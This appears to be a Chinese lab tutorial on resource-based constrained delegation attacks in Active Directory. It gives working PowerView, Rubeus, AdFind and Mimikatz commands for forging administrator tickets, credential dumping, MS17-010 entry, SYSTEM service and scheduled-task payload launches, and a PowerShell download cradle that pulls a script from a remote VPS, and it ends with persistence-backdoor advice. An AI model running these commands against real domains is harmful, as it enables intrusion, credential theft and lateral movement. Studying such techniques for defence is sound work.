域内攻击--->基于资源的约束委派(RBCD)

不同于约束和非约束委派,基于资源的约束性委派可以就难的多了!! 前方高能 ,准备上车!!

                 

目录

1.基于资源的约束性委派(RBCD)

2.谁能设置RBCD

3.机器入域账号的普及

4.域树的搭建

5.配置RBCD

6.通过域创建机器进行RBCD攻击

7.通过使用本机机器进行RBCD攻击

8.通过横向RBCD的用户进行攻击

9.RBCD的作用


1.基于资源的约束性委派(RBCD)

对于基于资源的约束性委派,可以说和非约束性委派和约束性委派都有一定的相似之处,为什么这么说呢,看下去你就明白了!!

基于资源的约束性委派攻击:(Resources Based Constricted Delegation ,RBCD)如果我们能够在受害者B上配置允许服务A的基于资源的约束性委派,那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST,最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST,我们就可以模拟任意用户访问服务B了。

感觉没听懂?         没关系,我来用人话解释一下

不同于约束性委派,基于资源的约束性委派不算是一种被动委派,而是一种主动委派。什么意思呢? 对比起约束性委派,文件系统的cifs服务是又域控委派给web系统的,但是在RBCD中,Web系统能访问文件系统的cifs服务是由文件系统自己委派给他的!!!!

2.谁能设置RBCD

以下这么几种人能够设置RBCD

3.机器入域账号的普及

当我们将一台机器加入到域内的时候,我们肯定会弹出这么一个框架,这时候我们一般都是输入到的域馆的账号密码,但其实!!! 我们也是可以输入一个域内的普通账户的!!!!

我们来做一个实验

首先我们有一个域内的账户 liukaifeng01 并不属于管理员组。

它的sid是以1000结尾的!!  然后我们再去找一台电脑

于是,我们还知道,一个域内的普通账户,默认可以创建10台机器账户!!(这个后面大有用处)

4.域树的搭建

其实这个域树的搭建和RBCD没有什么直接的关系,但是!! RBCD的前提就是域控必须是Server2012及以上,但是我的god的域刚好的2008的,又恰好后面我们要讲跨域攻击,那么就刚好现在一同搭建了!!

我们的目的就是在原域控的情况下搭建一个hack.god.org的域树

    首先去准备我们的对应的机器!!!

然后我们去给Server2012安装对应的AD

然后一直下一步,开始安装

然后就是去升级了

在入域之前,记得配好指向域控的网卡

然后就下面这一步可谓是至关重要,不能写错一点啊(不然就会失败)

然后后面就是疯狂的进行下一步了,最后他会进行重启!!

能看见这样,就能说明我们已经搭建好了子域的域控,下一步就是将Server2016加入到子域了

   将dns指向子域的域控

   然后将这个SEC机器加到子域内

然后我们去子域控上创建一个用户,让2016能登录进去

然后我们最后用下面这命令去查看一下

ipconfig  /all

能看见这个,就说明我们的域环境已经搭建成功了!!! 

5.配置RBCD

现在域内有三台电脑


  • 域控Winserver2012
  • 域内主机Winserver2016
  • 域内主机Win10

其中Win10是以Winserver的sec用户加入到域的,那么我们就能用sec这个账号给Win10这台机器配置RBCD,我们先来验证一下

首先,我们这台SEC的用户的sid如下

然后我们再去域控查询Win10电脑的委派的sid,果然sid是一模一样的

然后我们给这台Win10机器设置RBCD

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1106)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DESKTOP-LQVIT68.rce.org | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

ok,成功设置RBCD 

其实这里的命令要改的就两个点

  • 一个sid指的是你创建机器的SID或者当前机器的SID(能拿到当前机器的NTLM哈希)
  • 然后get-domaincompu那里是指允许配置RBCD的受害者机器

6.通过域创建机器进行RBCD攻击

然后假装我们现在拿到了一台域内机器


然后我们去查看一下域内的机器分别都是以什么用户加入的(需要当前用户的账号密码)

AdFind.exe -u sec -up admin@123 -b "DC=rce,DC=org" -f "objectClass=computer" mS-DS-CreatorSID

发现了域内有四台机器,其中SUBDC和SEC都是以管理员加入的,这种就没戏了,但是Win7和另外一台电脑却是以另外一个用户加入的,于是我们就去查查是哪一个用户

shell sid2user.exe \\192.168.111.138  5 21 3016729343 1492099483 2872154937 1106

发现是sec用户 

并且正好,我们控制的这一台电脑的当前用户就是sec

    

所以,我们是可以拿下WIN7$和DESKTOP-LQVIT68$这两台机器的,然后我们先横向到DESKTOP-LQVIT68$这台电脑

powershell-import Powermad.ps1
powershell Set-ExecutionPolicy Bypass -Scope Process | New-MachineAccount -MachineAccount god -Password $(ConvertTo-SecureString "admin@123" -AsPlainText -Force)

通过上面这个脚本,我们可以创建一台计算机,名为GOD,密码是admin@123

然后去查看一下机器是否创建成功

shell net groups "Domain Computers" /domain

可以看见多了一个机器账号 

然后,正如我们前面所说,创建机器的委派sid和创建的用户是相同的

这是我们刚创建的机器委派的sid

然后我们再去看我们创建机器的账号的sid,肯定是一样的

然后我们就要去获取这个机器的SID(不是委派sid),这里需要你传一个powerview脚本,或者你也可以再CS直接导入,达到无文件落地的效果

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Identity god -Properties objectsid}"

然后就是给这个台GOD机器设置RBCD

powershell-import PowerView.ps1   //无文件落地
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1115)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

然后我们去查

shell AdFind.exe -b "DC=rce,DC=org" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

成功配置 

然后我们就是可以进行横向移动了

Rubeus.exe s4u /user:机器名 /rc4:创建机器的密码  /domain:rce.org  /msdsspn:cifs/受害机器  /impersonateuser:administrator /ptt
Rubeus.exe s4u /user:god$  /rc4:579DA618CFBFA85247ACF1F800A280A4  /domain:rce.org  /msdsspn:cifs/DESKTOP-LQVIT68.rce.org  /impersonateuser:administrator /ptt

这个rc4密码最好找一个在线生成密码的网站

在攻击之前,我们先清一下票

shell klist purge
mimikatz kerberos::purge

然后在攻击之前,我们是肯定不能看别人的东西的

然后我们直接PTT攻击

这时候,我们再去看内存中的票据

然后我们再去访问,包能看到的

然后我们把🐎传上去

然后接下来就要问你们了,我们现在能不能运行计划任务或者服务???

包不行的啊!! RBCD其实也有点像约束性委派,也有点像白银票据!!!

我们这是什么票???? CIFS ! 怎么可能可以运行计划任务或者服务 ???

所以我们要去再申请一张host的票据

Rubeus.exe s4u /user:god$ /rc4:579DA618CFBFA85247ACF1F800A280A4 /impersonateuser:administrator /msdsspn:host/DESKTOP-LQVIT68 /ptt

这样,我们的内存就有两张票了!!!!  

然后接下来就是愉快的进行横线移动了 !!

shell sc \\DESKTOP-LQVIT68 create getshell binpath= "cmd.exe /c c:\cs.exe"
shell sc \\DESKTOP-LQVIT68 start getshell

 看到没,直接以system权限上线!!!

包高的,这个权限!!!

7.通过使用本机机器进行RBCD攻击

有人就会说了,我还要创建一个账号,麻烦死了,能不能直接用本机机器账号呢??? 

那包可以的!!                

首先还是我们上面的情景,然后我们直接查询本机的sid

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Identity 机器名字 -Properties objectsid}"

然后我们抓一下本机账号的密码(这一步需要提权,这就是为什么我先讲创建机器账户,因为有的时候我们提不上来)  但是不重要,这个方法本质·上是可以的,来掩饰一下!!

假设我们提上来了,并且抓到了密码

db09d063eafb6f737ab67e1022f19662

然后配置委派

powershell-import Powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1107)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

设置成功,查看一下先

AdFind.exe -b "DC=rce,DC=org" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

okay,目前看起来一切顺利 !!!,然后就是去请求票据,在请求之前,肯定是看不了的

然后直接伪造

Rubeus.exe s4u /user:SEC$ /rc4:db09d063eafb6f737ab67e1022f19662 /impersonateuser:administrator /msdsspn:cifs/DESKTOP-LQVIT68 /ptt

然后再去看一下

包能看到的,最后再去伪造一张host的票

然后这次,我选择用计划任务横向移动 !!

copy cs.exe \\DESKTOP-LQVIT68\c$
schtasks /create /s DESKTOP-LQVIT68 /tn getshell /sc onstart /tr c:\cs.exe /ru system /f
schtasks /run /s  DESKTOP-LQVIT68 /i /tn "getshell"

包上线的!!!! 

8.通过横向RBCD的用户进行攻击

以上的两种情况,可以说是最理想化了,直接拿到了RBCD的账号,但是很多时候我们都是不会直接拿到这个账号的?? 那怎么办呢??

  • Kerberoasting(这个我后面讲)
  • asq roasting
  • 密码喷洒
  • 横向移动(pth,ptk,ptt,dcom,wimrm)那些
  • 漏洞!!(MS17010)

那么这次我就拿MS17010来演示一下

首先拿到了一个用户,然后查询

shell AdFind.exe -b "DC=rce,DC=org" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

发现两个可操作主机,然后反查

AdFind.exe -sc adsid:S-1-5-21-3016729343-1492099483-2872154937-1106 -dn
AdFind.exe -sc adsid:S-1-5-21-3016729343-1492099483-2872154937-1108 -dn

分别查出是sec账户和win7账户 

sec是我们当前的用户,可以操作,但是这标题是横向到RBCD的用户,所以我们就要想办法横向到Win7账户登录的机器上面去

怎么知道Win7在哪一台机器上登录呢??? 这就需要到内网信息收集工具netview啦!!

shell netview.exe -d

成功获得ip,然后我们扫描一下 

通过fscan,我们发现对方存在永恒之蓝!!!

然后我们把他上线到CS!!

但是我咋感觉这个插件不太好用,直接把别人打关机了(无敌了),换个插件再试试

欸~~~~~ 换了个插件还是很舒服的!!! 然后就是常规步骤了,先去看看能给谁设置委派

然后你就会发现,用system用户的权限查询的到的结果和普通用户查询结果是不一样的,这个时候我们就要降权 !!!!

这时候我们就先去抓一下密码!!

然后我们用lsrunase.exe和他对应的加密工具操作

  先加密,然后再去传工具

然后执行下面这个命令

shell lsrunase.exe  /user:win7 /password:5VB+iOQH7araqPPoHYU=  /command:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://公网vps/powershell.ps1'))" /runpath:c:  /domain:rce.org

本来想无文件的,但是发现 。。。。难崩

那就只能用最简单的计划任务了!!!

schtasks /create /s 192.168.111.132 /tn shell /sc onstart /tr C:\Users\win7\Desktop\cs.exe /ru win7 /f
schtasks /run /s 192.168.111.132 /i /tn "shell"

然后就更牛魔了!!   有点恐怖的兄弟 灾难性故障

但是最后在网上又搜到了一篇文章 ,这个思路就很猎奇新奇

shell explorer.exe C:\Users\win7\Desktop\cs.exe

用explorer去启动,欸~~!! 还真的成功了!!

至此,我们就成功的拿到了权限不同的两个账户了!!!! 然后我们再去执行查询

发现我们当前机器没有对任何机器设置过委派(WIN7是被指定的委派,不要搞混了)

所以我们就可以用上面的随便一种方法都可以!!! 先去查当前Win7的SID

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Identity win7 -Properties objectsid}"

查出来了,然后直接将hack这台机器用户指定为当前机器的RBCD

powershell-import Powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1111)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

然后发现没反应 

说明可能是禁止了powershell执行脚本!! 我们需要手动开启

set-ExecutionPolicy RemoteSigned

但是还是发现无法执行,很难搞

难道是版本问题?? 我们尝试一下创建机器用户

然后查他的sid

再去设置委派!!!

powershell.exe -exec bypass -Command "Import-Module .\PowerView.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1117)\";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"

然后就难受了,配置不成功,可能是我的机器的问题,你们可以多去试试,试试server什么的!

9.RBCD的作用

  • 权限维持,还记不记得我们说过SYSTEM权限可以给本机创建RBCD的权限!!那么我们当拿到一台机器之后,就可以提权到SYSTEM,然后做一个RBCD的后门(让他指向一台你创建的后门机器!!!)
  • 横向移动,不过这个一般横向不到域管理员,(除非你是account operator这个账户的用户),否则是不能进行横向到域馆的!!!
  • 拿下域控,这个就要研究的比较深了,网上也有很多对应的文章,可以自己去研究一下,我后续也会更(不过这就是很后面的事情了)

以上,就是RBCD的大致利用和内容了!!! 这个比较难理解,而且是只看文字的话,可以反复揣测一下!!

   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/671535.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【前端部署——vercel】部署next.js使用了prisma的项目

部署流程参考 https://blog.csdn.net/qq_51116518/article/details/137042682 问题 PrismaClientInitializationError: Prisma has detected that this project was built on Vercel, which caches dependencies. This leads to an outdated Prisma Client because Prisma’s …

kali系统baopoWiFi密码

kali系统baopoWiFi密码,仅供学习 取决强大的密码字典,如果别人密码设置的足够安全,也无法破解成功,并不是100%破解 一、准备一个无线网卡,需要免驱动,最好知道频率2.4HGZ还是5.0GHZ 二、插上USB接口,vmware模拟器选择连接虚拟机 三、输入命…

Java Spring Boot 从必应爬取图片

获取图片主要就是通过必应图片页面控制台的元素,确认图片和标题在哪个类中(浏览器 F12) 引入依赖 这里需要引入两个依赖 jsoup 和 hutool maven依赖网站地址:Maven Repository: Search/Browse/Explore (mvnrepository.com) 挑选…

Java如何读取resources目录下的文件路径(九种代码示例教程)

本文摘要:Java如何读取resources目录下的文件路径 😎 作者介绍:我是程序员洲洲,一个热爱写作的非著名程序员。CSDN全栈优质领域创作者、华为云博客社区云享专家、阿里云博客社区专家博主。公粽号:洲与AI。 &#x1f91…

翻译《The Old New Thing》- What a drag: Dragging a Uniform Resource Locator (URL)

What a drag: Dragging a Uniform Resource Locator (URL) - The Old New Thing (microsoft.com)https://devblogs.microsoft.com/oldnewthing/20080312-00/?p23133 Raymond Chen 2008年03月12日 麻烦的拖拽:拖拽统一资源定位符(URL) 简要 …

HALCON-从入门到入门-图像格式的互相转换

1.废话 上次说到了图片的读取和写入到本地,这次说一下图片的格式相关。 位图和矢量图 photoshop处理出来的图片肯定叫做图片,那么coreDraw处理出来的图片是不是也叫图片。 之间就有区分,一种叫做位图,一种叫做矢量图 位图和矢…

STM32作业实现(四)光敏传感器

目录 STM32作业设计 STM32作业实现(一)串口通信 STM32作业实现(二)串口控制led STM32作业实现(三)串口控制有源蜂鸣器 STM32作业实现(四)光敏传感器 STM32作业实现(五)温湿度传感器dht11 STM32作业实现(六)闪存保存数据 STM32作业实现(七)OLED显示数据 STM32作业实现(八)触摸按…

曝光超1.5亿,迪丽热巴“抖音直播首秀”解锁德施曼智能锁科技革命

作为中国电商行业年中最大的消费狂欢节点,今年的618大促热闹依旧;各大品牌在今年极简的现货模式下展开了周期最长的品牌实力比拼。其中,高端智能锁领军品牌德施曼在618大促期间,携手代言人迪丽热巴,再次掀起智能锁消费…

【前端】Vuex笔记(超详细!!)

最近花了两周时间,完完全全的跟着Vuex官方的视频学完了Vuex并且详详细细的做了笔记,其中总结部分是我对于整个视频课程的总结,视频部分是跟着视频做的笔记,如果总结部分有不懂的话,直接去视频部分查找对应的笔记即可&a…

Codeforces Round 548 (Div. 2) C. Edgy Trees

Edgy Trees time limit per test: 2 second memory limit per test: 256 megabytes input: standard input output: standard output You are given a tree (a connected undirected graph without cycles) of n n n vertices. Each of the n − 1 n - 1 n−1 edges of the t…

计算机毕业设计 | SpringBoot招投标系统 任务发布网站(附源码)

1,绪论 在市场范围内,任务发布网站很受欢迎,有很多开发者以及其他领域的牛人,更倾向于选择工作时间、工作场景更自由的零工市场寻求零散单子来补贴家用。 如今市场上,任务发布网站鱼龙混杂,用户需要找一个…

【TCP协议中104解析】wireshark抓取流量包工具,群殴协议解析基础

Tcp ,104 ,wireshark工具进行解析 IEC104 是用于监控和诊断工业控制网络的一种标准,而 Wireshark则是一款常用的网络协议分析工具,可以用干解析TEC104 报文。本文将介绍如何使用 Wireshark解析 IEC104报文,以及解析过 程中的注意事项。 一、安…

STL-queue的使用及其模拟实现

在C标准库中,队列(queue)是一种容器适配器,它以先进先出的方式组织数据,其中从容器一端插入元素,另一端取出元素。 queue的使用 queue的构造函数 queue的成员函数 empty:检测队列是否为空size:返回队列中有…

7-14 字节序(Endianness)---PTA实验C++

一、题目描述 “内存寻址的最小单位是字节”——明白。 “每个字节有唯一的编号,称为地址”——明白。 “C中int通常为四个字节”——了解。 “int x 1;最低字节是1还是0?——纳尼? 事实上,这里有点小小分歧: 多字…

C++对C的增强

1、作用域运算符 ::解决归属问题(谁是谁的谁) 可以优先使用全局变量 2、命名空间 使用关键字namespace,控制标名称的作用域。 命名空间的本质:对符号常量、变量、函数、结构、枚举、类和对象等等进行封装 1、创建一个命名空间…

学习小记录——python函数的定义和调用

今日小好运,未来有好运。🎁💖🫔 分享个人学习的小小心意,一起来看看吧 函数的定义 函数通常来说就是带名字的代码块,用于完成具体的工作,需要使用的时候调用即可,这不仅提高代码的…

我的创作纪念日-砥砺前行

机缘 大家好,我是诊断协议那些事儿,又和大家见面了,记录一下创作日记,转眼间已经在CSDN平台创作三年了,最初仅仅是为了记录学习过程中的笔记,后来慢慢转为项目实践中的经验分享,当然更多的希望…

dm8 什么时候视图中统计的内存会超过OS

v$bufferpool和v$mem_pool视图记录着DMSERVER各组件的内存占用量。理论上跟OS看到的保持一致。但实际大多数场景下,OS中看到的数据远大于视图中的统计。这里面可能有内存泄漏的原因。不过也有的时候视图中的统计数据超过OS。下面就是这种情况: 上图中红线…

nas连接萤石云摄像机CTQ6X

需要准备的nassurveillance 请参考这个大佬的流程 https://www.bilibili.com/video/BV1ri4y1g7EN/ 踩坑: 一直到添加录像机验证一直没问题,但是验证一直不通过,后面下载了萤石云工作室的win桌面客户端,不知道是不是设置了预览还…

【Ubuntu】【Shell】执行sh脚本报错“xxx.sh:/bin/bash^M:解释器错误: 没有那个文件或目录“

背景 在自己Ubuntu环境执行sh脚本,报错"xxx.sh:/bin/bash^M:解释器错误: 没有那个文件或目录",查了下是Ubuntu系统默认的shell是dash: 修改配置过下,变成bash 解决方案 在终端执行: sudo dp…